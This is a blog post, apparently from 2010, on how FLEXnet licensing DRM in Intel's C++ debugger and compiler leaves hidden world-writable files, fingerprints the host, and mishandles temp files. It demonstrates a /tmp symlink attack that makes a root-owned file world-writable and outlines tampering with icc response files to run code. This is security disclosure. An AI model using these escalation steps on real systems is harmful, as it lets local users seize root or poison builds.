Saturday afternoon
Intel has a nice C++ toolchain. They use the great EDG C++ front end which is known for its standards-compliance. There’s even a free-as-in-beer offer of many of the tools on Linux for “non-commercial software development“.
I have played with this package from time to time. Last weekend I downloaded and upgraded to the latest suite which include the compiler, debugger, and various libraries.
The compiler seemed to work just fine. But when I run the debugger…
Intel(R) Debugger for applications running on Intel(R) 64, Version 11.1, Build [1.2097.2.333]
30 DAY EVALUATION LICENSE
NOTE: The evaluation period for this product ends in 23 days.
Well, that’s not very nice. I thought I had a proper non-commercial license! Hmm…I must have chosen the wrong option when I installed it last week.
I’ll try dropping in the license file manually. Doesn’t work.
I’ll do an uninstall and reinstall. No luck.
So I uninstall, this time completely removing the /opt/intel and the /tmp/FLEXnet directories. Reinstall making sure to give it the correct license file this time.
Again! The compiler is happy, but the debugger still insists it’s a time-limited evaluation copy. Hmmm, something not very funny is going on here.
Did a little web searching. It seems that FLEXnet is some sort of software licensing product that’s been owned by several different corporate entities using several different names over the years. Including Macrovision! At this point I approach panic…they’d better not have screwed with my boot sector…this was my cleanest dev box!
There were a few questions on Intel’s forums about problems in this area, and it seemed they were getting help. But this is on a weekend (non-commercial after all), so I figured I’d try to figure it out on my own. I found one post which suggested setting the environment variable INTEL_LMD_DEBUG=1. This was a useful tip as it provided a fascinating view into the mind of a pile of code as it is deciding whether or not to be a functioning piece of software. Some excerpts:
INTEL_LMD: checkout: contents of particular license actually checked out:
INTEL_LMD: checkout: feature name: DbgL (INCREMENT line)
INTEL_LMD: checkout: license expires: 11-may-2010
INTEL_LMD: checkout: license maintenance expires: 2020.1231
INTEL_LMD: checkout: type of license: uncounted (unlimited number of users)
INTEL_LMD: checkout: allowed platforms:
INTEL_LMD: checkout: amd64_re (Intel(R) 64 architecture; Linux*)
INTEL_LMD: checkout: i86_r (IA-32 architecture; Linux*)
INTEL_LMD: checkout: i86_re (IA-32 architecture; Linux*)
INTEL_LMD: checkout: it64_lr (IA-64 architecture; Linux*)
INTEL_LMD: checkout: it64_re (IA-64 architecture; Linux*)
INTEL_LMD: checkout: *Other brands and names are the property of their respective owners.
I could have used the debugger on itself, that might have been interesting in a recursive sort of way. But strace(1) got straight to the point.
Here are some of the highlights, there was lots of repetition I didn’t duplicate here. Also, this happens in a child process so use the strace -o and -ff options.
stat("/home/marsh/.flexlmrc", 0x7fff334bf8d0) = -1 ENOENT (No such file or directory)
stat("/home/marsh/.flexlmborrow", 0x7fff334bf920) = -1 ENOENT (No such file or directory)
Never seen those files before.
mkdir("/tmp/FLEXnet", 0777) = -1 EEXIST (File exists)
chmod("/tmp/FLEXnet", 0777) = -1 EPERM (Operation not permitted)
open("/tmp/FLEXnet/2167552-85A0F138-527D-4012-8175-79A3AEA4152E", O_WRONLY|O_CREAT|O_EXCL, 0666) = -1 EEXIST (File exists)
Man, they sure like the file permissions wide-open. I hope this thing doesn’t have any buffer overflows.
open("/tmp/FLEXnet/2167552-16F7558F-328B-4dc3-BEDF-095C1F14FFF1", O_WRONLY|O_CREAT|O_EXCL, 0666) = -1 EEXIST (File exists)
close(4294967295) = -1 EBADF (Bad file descriptor)
Nice of them to make sure not to leave any bad file descriptors open.
stat("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
stat("/usr/local", {st_mode=S_IFDIR|S_ISGID|0775, st_size=4096, ...}) = 0
stat("/usr/local/share", {st_mode=S_IFDIR|S_ISGID|0775, st_size=4096, ...}) = 0
stat("/usr/local/share/macrovision", {st_mode=S_IFDIR|S_ISGID|0755, st_size=4096, ...}) = 0
stat("/usr/local/share/macrovision/storage", {st_mode=S_IFDIR|S_ISGID|0777, st_size=4096, ...}) = 0
stat("/usr/local/share/macrovision/storage/FLEXnet", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
open("/usr/local/share/macrovision/storage/FLEXnet/INTEL_00211300_tsf.data", O_RDWR|O_CREAT, 0666) = 4
chmod("/usr/local/share/macrovision/storage/FLEXnet/INTEL_00211300_tsf.data", 0666) = 0
Hey, how did those “macrovision” directories get there? I don’t recall giving permission for the uninstaller to leave old files lying around! I thought I had put everything under /opt.
Well I’ll just delete that old directory and reinstall, once again. (That fixed it by the way, but I was more interested in the strace at this point).
An aside: I always figured Intel made a compiler in order to ensure there would be one that could take best advantage of new features in their chips. Whatever profit they made from toolchain sales couldn’t possibly be significant compared to even the tiniest incremental boost to their processor business. Seems to me that the primary effect of leaving these hidden DRM files behind is to convert software developers from people with a passing familiarity with the toolchain into those who no longer are using it, and their dev boxes into machines that forever refuse to run it!
stat("/Users/Shared/Library/Application Support/Intel/Licenses", 0x7fff334bf960) = -1 ENOENT (No such file or directory)
Maybe it’s a Mac thing?
open("/proc/pci", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/proc/pci", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/hostid", O_RDONLY) = -1 ENOENT (No such file or directory)
uname({sys="Linux", node="m...", ...}) = 0
Hmm, I wonder why it’s interested in those system files.
open("/etc/resolv.conf", O_RDONLY) = 5
connect(5, {sa_family=AF_FILE, path="/var/run/nscd/socket"...}, 110) = -1 ENOENT (No such file or directory)
open("/etc/nsswitch.conf", O_RDONLY) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=475, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5905c59000
read(5, "# /etc/nsswitch.conf\n#\n# Example "..., 4096) = 475
open("/etc/host.conf", O_RDONLY) = 5
open("/etc/hosts", O_RDONLY|O_CLOEXEC) = 5
open("/opt/intel/Compiler/11.1/069/lib/intel64/libnss_files.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/libnss_files.so.2", O_RDONLY) = 5
OK, this guy is starting to creep me out a little bit. It’s almost like he’s getting ready to make a network connection or something. This is not something I want, in the same way that I would not want to see a dinner guest at my house start writing down the serial numbers off my home appliances.
statfs("/", {f_type="EXT2_SUPER_MAGIC", f_bsize=4096, f_blocks=1032112, f_bfree=431368, f_bavail=378940, f_files=262144, f_ffree=206780, f_fsid={596574817, -405841800}, f_namelen=255, f_frsize=4096}) = 0
stat("/", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open("/proc/mounts", O_RDONLY) = 5
read(5, "rootfs / rootfs rw 0 0\nnone /sys "..., 1024) = 1024
Oh good, no network connection. He sure is interested in my filesystems though. Maybe being a little nosy even?
readlink("/dev/fb", 0x7fff601d15f0, 1024) = -1 ENOENT (No such file or directory)
Now why would a command-line program care if I have a framebuffer device?
open("/proc/cpuinfo", O_RDONLY) = 5
open("/proc/meminfo", O_RDONLY) = 5
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 5
ioctl(5, SIOCGIFHWADDR, {ifr_name="xp0", ???}) = -1 ENODEV (No such device)
What is this interface “xp0″ I wonder, and why is its hardware address interesting?
ioctl(5, SIOCGIFHWADDR, {ifr_name="eth0", ifr_hwaddr=00:...}) = 0
Well, I guess we knew that was coming.
uname({sys="Linux", node="m...", ...}) = 0
That too.
ioctl(5, SIOCGIFADDR, {ifr_name="xp0", ???}) = -1 ENODEV (No such device)
ioctl(5, SIOCGIFADDR, {ifr_name="eth0", ifr_addr={AF_INET, inet_addr("192.168...")}}) = 0
Now it wants assigned addresses. There’s that “xp0″ again.
Oh! We’d better read a bunch of int32’s from our secret file:
fstat(4, {st_mode=S_IFREG|0666, st_size=12754, ...}) = 0
fstat(4, {st_mode=S_IFREG|0666, st_size=12754, ...}) = 0
lseek(4, 1877, SEEK_SET) = 1877
read(4, "\0\0\0\33"..., 4) = 4
fstat(4, {st_mode=S_IFREG|0666, st_size=12754, ...}) = 0
fstat(4, {st_mode=S_IFREG|0666, st_size=12754, ...}) = 0
lseek(4, 1881, SEEK_SET) = 1881
read(4, "\1!\0\0"..., 4) = 4
fstat(4, {st_mode=S_IFREG|0666, st_size=12754, ...}) = 0
fstat(4, {st_mode=S_IFREG|0666, st_size=12754, ...}) = 0
lseek(4, 1885, SEEK_SET) = 1885
[a lot more of these]
This obsession with the file size before every seek and read is symptomatic of a program suppressing its inner race condition. Hmm, a suitable case for treatment. Nurse! Seize him!!
mkdir("/tmp/FLEXnet", 0777) = -1 EEXIST (File exists)
chmod("/tmp/FLEXnet", 0777) = -1 EPERM (Operation not permitted)
open("/tmp/FLEXnet/608B1FE4-2ACE-4914-9910-3B4BC90DA531", O_WRONLY|O_CREAT|O_EXCL, 0666) = -1 EEXIST (File exists)
close(4294967295) = -1 EBADF (Bad file descriptor)
stat("/tmp/FLEXnet/608B1FE4-2ACE-4914-9910-3B4BC90DA531", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
Ready, fire, aim!
open("/usr/local/share/macrovision/storage/.tfCaFrmpbmEbzmoEBzFqjzbuFc", O_RDWR) = 5
chmod("/usr/local/share/macrovision/storage/.tfCaFrmpbmEbzmoEBzFqjzbuFc", 0666) = -1 EPERM (Operation not permitted)
read(5, "...", 80) = 55
read(5, ""..., 25) = 0
close(5) = 0
The lesson here is always be sure your hidden files in a world-writable directory are world-writable before you read from them?
stat("/usr/local/share/macrovision/storage/.mEEmchcxpinkgaogqeEzDEuzyb", 0x7fff601d2020) = -1 ENOENT (No such file or directory)
link("/usr/local/share/macrovision/storage/.DyvjkuyxBpbcAtpyheotsmkone", "/tmp/FLEXnet/mEEmchcxpinkgaogqeEzDEuzyb") = -1 EXDEV (Invalid cross-device link)
Sorry, that link is just not going to persist across the next reboot.
open("/opt/intel/Compiler/11.1/069/bin/intel64/*.lic", O_RDONLY) = -1 ENOENT (No such file or directory)
You know, I don’t think that syscall does wildcard expansion.
stat("/etc/localtime", {st_mode=S_IFREG|0644, st_size=3543, ...}) = 0
write(2, " INTEL_LMD: flex_expire_days: "..., 44) = 44
Clearly we wouldn’t want to expire somebody’s license in the wrong timezone.
write(2, "3"..., 1) = 1
write(2, "0"..., 1) = 1
write(2, " "..., 1) = 1
write(2, "D"..., 1) = 1
write(2, "A"..., 1) = 1
write(2, "Y"..., 1) = 1
write(2, " "..., 1) = 1
write(2, "E"..., 1) = 1
write(2, "V"..., 1) = 1
....
Why did they print it like that? To hide the string or something?
Finally:
INTEL_LMD: flex_config: at least one license has been granted
INTEL_LMD: flex_config: the most recently checked out feature was checked out successfully
INTEL_LMD: flex_expire_days: returns 3650000
INTEL_LMD: checkout: returns GRANTED
Awesome! I’m considered legit for the next 10,000 years! (except leap days)
Deeper issues
Darn, all that looking at strace logs got me out of the mood for writing whatever code that was I was planning to write. I’m also starting to wonder about the wisdom of putting DRM on a low-level debugger and licensing it free only to people who use them on the weekend for fun.
Wait a second…what were those lines from before?
mkdir("/tmp/FLEXnet", 0777) = -1 EEXIST (File exists)
chmod("/tmp/FLEXnet", 0777) = -1 EPERM (Operation not permitted)
Are they seriously not checking the return code on mkdir and just chmod’ing whatever existed before?
This needs testing.
/tmp$ ln -sf /tmp/couldve_bin_bash /tmp/FLEXnet
/tmp$ ls -al /tmp
total 616
drwxrwxrwt 9 root root 4096 2010-04-20 23:22 .
drwxr-xr-x 23 root root 4096 2009-08-05 07:00 ..
-rw-r–r– 1 root root 0 2010-04-20 23:21 couldve_bin_bash
lrwxrwxrwx 1 marsh marsh 21 2010-04-20 23:22 FLEXnet -> /tmp/couldve_bin_bash
drwx—— 2 root root 16384 2009-04-03 21:39 lost+found
/tmp$ cat | mail root
Dear root,
I think there’s a bug in the Intel debugger. Could you please check
to see what version we have installed. It should print it on startup.
K thx bye
^D
# . /opt/intel/Compiler/11.1/069/bin/iccvars.sh
# idbc
Intel(R) Debugger for applications running on Intel(R) 64, Version 11.1, Build [1.2097.2.333]
(idb) q
#
/tmp$ ls -al /tmp
total 616
drwxrwxrwt 9 root root 4096 2010-04-20 23:22 .
drwxr-xr-x 23 root root 4096 2009-08-05 07:00 ..
-rwxrwxrwx 1 root root 0 2010-04-20 23:21 couldve_bin_bash
lrwxrwxrwx 1 marsh marsh 21 2010-04-20 23:22 FLEXnet -> /tmp/couldve_bin_bash
drwx—— 2 root root 16384 2009-04-03 21:39 lost+found
OK, I didn’t actually send myself that email. But dude, 1996 called and said it wants its bug back!
A quick test showed this file handing operation to be exploitable, too:
open("/usr/local/share/macrovision/storage/FLEXnet/INTEL_00211300_tsf.data", O_RDWR|O_CREAT, 0666) = 4
chmod("/usr/local/share/macrovision/storage/FLEXnet/INTEL_00211300_tsf.data", 0666) = 0
Scope
So it’s not hard to imagine that this local escalation vulnerability would affect other Linux/Unix/BSD software using FLEXlm. For example, Looks like a tool that is said to “find critical security vulnerabilities” for “over 650 organizations” might be using this “/usr/local/share/macrovision” directory for similar purposes. I’m told that many CAD and EDA systems use this DRM as well.
Examples of previous vulns in this DRM and products that use it:
http://www.google.com/search?q=”FLEXlm+vulnerabilities”
http://www.google.com/search?q=FLEX+”license+file”
ICC Compiler
Well that’s enough for the debugger. I wonder how secure the compiler is? IIRC, Gentoo Linux supports using icc as the system compiler, and runs it as root.
open("/tmp/iccT0R3pl", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
close(3) = 0
chmod("/tmp/iccT0R3pl", 01232) = 0
“01232″ What’s up with those permissions??
Wait a minute 01232 in octal is … 666 in decimal. Satan fail.
The command did succeed, but what does it mean?
$ touch test
$ chmod 01232 test
$ ls -al test
--w--wx-wT 1 marsh marsh 0 2010-04-20 21:02 test
Well clearly that’s not going to be good for much. I guess that’s why the program’s next action is to throw it out and try a different filename:
unlink("/tmp/iccT0R3pl") = 0
open("/tmp/iccT0R3plarg", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(3, "-_g\n-mP3OPT_inline_alloca\n-D__HON"..., 1979) = 1979
close(3) = 0
Uh oh. This time the compiler actually succeeded in creating a tmp file with everybody=everything mode bits. Even worse, he’s writing compiler arguments into it. It’s a response file.
How far could an attacker go with with control of a response file? Can it be used to invoke an arbitrary command? He could try the “-dynamic-linker” option. According to the docs it “Specifies a dynamic linker other than the default.” That would probably do it.
But perhaps more disturbing is the prospect of a bad guy subtly modifying the compiler settings to inject evilness into the build products (changes here might not end up on the build log). With all the concern about APT these days (and I think it is quite legitimate), this is exactly what you don’t want to be possible on your engineer’s workstations.
So we have exploitable unsafe tmp file creation on the Intel icc complier as well.
Searching
Intel does not seem to document the creation of these directories and hidden files by their products:
“Your search - macrovision site:http://software.intel.com/en-us/articles/intel-software-technical-documentation/ - did not match any documents.”
Looks like over a year ago a Linux distro’s automated security report noticed some badness, and it was reported:
http://software.intel.com/en-us/articles/world-writable-files-in-the-icc-rpms/
But apparently it was ignored.
Even before that a user had pointed out the unsafe chmod:
http://software.intel.com/en-us/forums/showthread.php?t=61712
Non-Linux
I don’t know if this has been tested before, but my personal theory is that this class of unsafe tmp file handing bugs usually associated with unix can sometimes be exploitable on the Windows side as well. Although Windows has supported symlinks for some time, it restricts their creation to Administrators. However, NTFS junction points in publicly-writable directories can be created by an unprivileged user:
c:\>mklink /j test C:\users\marsh
Junction created for test <<===>> C:\users\marsh
c:\>dir
Volume in drive C is drive-c
Volume Serial Number is E458-1C9F
Directory of c:\
01/20/2008 10:03 PM <DIR> PerfLogs
04/10/2010 12:18 PM <DIR> Program Files
04/14/2010 08:40 PM <DIR> Program Files (x86)
04/21/2010 01:13 AM <JUNCTION> test [C:\users\marsh]
03/05/2010 09:00 AM <DIR> Users
03/05/2010 04:43 PM <DIR> Virtual Machines
04/09/2010 09:07 PM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 23,012,346,880 bytes free
Again, this part is educated speculation and not a proven exploit. (I am not planning on experimenting on my Windows box, it takes too long to reinstall!) But I would recommend that the same thorough investigation and remediation be done for potentially-affected Windows products where there is shared code or similar behavior.
Also, I don’t know much about Macs, but last I saw they looked a lot like BSD.
Conclusions
With Intel talking big about “What’s Hot and New in Open Source at Intel“, I would have expected them to have behaved differently. They should behave like a guest on my machine and I really expect to be treated better than some poor TurboTax user.
You can debate the merits of invasive DRM schemes all you want for video games and entertainment media. But IMHO that monkey business has absolutely no place in the build infrastructure of a serious software development process. Such a critical tool as a compiler must produce 100% repeatable results with unquestionable reliability and the production build machines must be the most secure systems in the enterprise.
There are some legitimate issues here. Producing an industrial-strength C++ toolchain is one of the largest and most challenging software projects one could ever attempt and consequently only a few teams have ever pulled it off. It’s going to be a hard enough task for any vendor even without the added challenge of incorporating proprietary schemes in a futile attempt to turn the host system against its owner.
I may never track down every leftover file and undocumented modification this rude guest made to my system. But I do know that I would rather have been writing code on that Saturday afternoon.